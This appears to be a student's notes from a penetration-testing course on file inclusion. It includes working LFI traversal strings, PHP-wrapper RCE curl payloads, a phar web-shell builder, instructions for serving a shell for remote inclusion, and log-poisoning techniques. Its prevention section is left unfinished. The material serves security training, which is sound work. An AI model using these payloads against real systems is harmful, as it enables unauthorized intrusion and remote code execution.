Introduction

Intro to File Inclusions


FunctionRead ContentExecuteRemote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

File Disclosure

Local File Inclusion (LFI)


Look for parameters who have an impact on content included in pages. The usual test would be a simple ../../../../../../etc/passwd.

Look for user data (like username, profile pictures) inserted into a page content. If no processing is done on resource name or is controllable, you might leverage that to include local files.

URL-encoding can bypass filters in these fields, and double encoding can also be tested.

Basic Bypasses


Non recursive removal of ../ can be bypassed by using ....//

Bypass file extension by using NULL byte on PHP. (This is only applicable on old versions).

PHP Filters


We’ve worked with PHP filters already in Web Attacks and File Upload Attacks but it can be used to retrieve content file. Since it uses . and / it might be prone to filtering however at no point you’re using traversal using ../ to fetch php from the web server root directory which can help.

PHP filter :

php://filter/read=convert.base64-encode/resource=

Remote Code Execution

Most (if not all) RCE through file inclusion require certains parameters to be enabled server-side.

PHP Wrappers


Checking for the PHP server configuration first to avoid wasting time. If you are able to trigger a phpinfo() you’ll get it immediately.

Identifying RCE conditions

Apache : /etc/php/X.Y/apache2/php.ini Nginx : /etc/php/X.Y/fpm/php.ini

We can retrieve the conf file if we have a valid LFI and identify if we have a valid configuration to trigger RCE out of it. This depends on the allow_url_include option which must be set at on.

Data

data://text/plain;base64,{Base64encodedPHP} allows to insert directly PHP code inside. Base64 ensure no URL breaking characters. This works for interactive web shell on GET request but you’ll need to repeat the process with the command in the body if you only have POST request option.

curl -s "http://$ip:$port/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id"

Input

If Data is restricted but input is, we can repeat the same process for POST requests than previously mentioned.

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://$ip:$port/index.php?language=php://input&cmd=whoami"

Expect

If we have a view on the configuration files we should look for expect as well other than allow_url_include. If this is enabled we can use that to supply directly command through url

curl -s "http://$ip$:$port/index.php?language=expect://id"

Remote File Inclusion (RFI)


Now we’re interacting with the server directly with our own. We’ll serve the payload to include on the server’s vulnerable page.

RFI can be also used to trigger SSRF since we’re not restricted to serving the content ourself a an attacker. This is particularly relevant for the next section about RCE using the different services we had the opportunity to learn about in the Footprinting and seen in Attacking Common Services modules.

Check for RFI

Simple tests like triggering a local URL through HTTP first helps spotting RFIs. Avoid using the same page as a call that could trigger recursive inclusion loop.

http://vulnerable_server/index.php?language=http://127.0.0.1:80/contact.php

RCE through RFI

Server’s configuration must be vulnerable to RFI (has to have enabled the disabled options by default). We can serve our usual shell.php payload through various protocols :

  • HTTP sudo python3 -m http.server $serving_port
  • SMB (more probable if already one foothold inside the network since we won’t be considered as external internet SMB connection) impacket-smbserver -smb2support share $(pwd)
  • FTP sudo python -m pyftpdlib -p 21

Since we are serving the resource the target doesn’t need to have any of these services active.

Questions

LFI and File Uploads


Reminder of the already taught File Upload Attacks. Once the file has been uploaded you can use it (if you know the upload path) to trigger the LFI.

Zip Upload

If you’re working with a php server using the zip wrapper (disabled by default) you can use the scheme to trigger the LFI with it. Note that you should use # to specify the file in the zip archive.

http://target/index.php?language=zip://path/shell.jpg%23shell.php&cmd=id

Phar Upload

Same principle but less straightforward.

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
 
$phar->stopBuffering();
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

Note that no shell.txt is in output here. It will be written by the server when calling shell.phar and then inserted in the page content. You want to trigger the LFI using phar with an URL similar to this one :

http://target/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

Questions

Log Poisoning


Overlooked approach to exploit LFI and other vulnerabilities though it requires some insight to work it out. The usual way of triggering that is to leverage our session cookie and the information tied to it by the server.

Suppose the language or any parameter is saved for a session. If we’re able to identify the content of the session through an LFI or we could try to edit the session parameter to include arbitrary content (and potentially RCE). Take the language parameter example. If we can inject php in it instead of the intended parameter, it can be used upon including the session logs :

http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E

Now a little bit of knowledge is needed. It would change from each framework but PHP stores PHPSESSID session content in /var/lib/php/sessions/sess_{PHPSESSID}. After identifying our session name we can try to include it in the web page through the vulnerable parameter.

Server Log Poisoning

We can push the idea by trying to include access.log or error.log. The former contains the User-Agent header and we can change it to an arbitrary value.

WindowsLinux
ApacheC:\xampp\apache\logs\/var/log/apache2/
NginxC:\nginx\log\/var/log/nginx/
User-Agent header can also be inserted from /proc/self/environ or /proc/self/fd/{N} (make the PID vary on N).

We can test for log files to test LFI in the first hand :

  • /var/log/sshd.log
  • /var/log/mail
  • /var/log/vsftpd.log

Questions

Automation and Prevention

Automated Scanning


Try to fuzz for parameters even if they are not seen during the app’s exploration. Burp parameters wordlist is available in the SecLists in web-content.

SecLists LFI Good LFI wordlist

tocomplete

File Inclusion Prevention


Skills Assessment

Skills Assessment - File Inclusion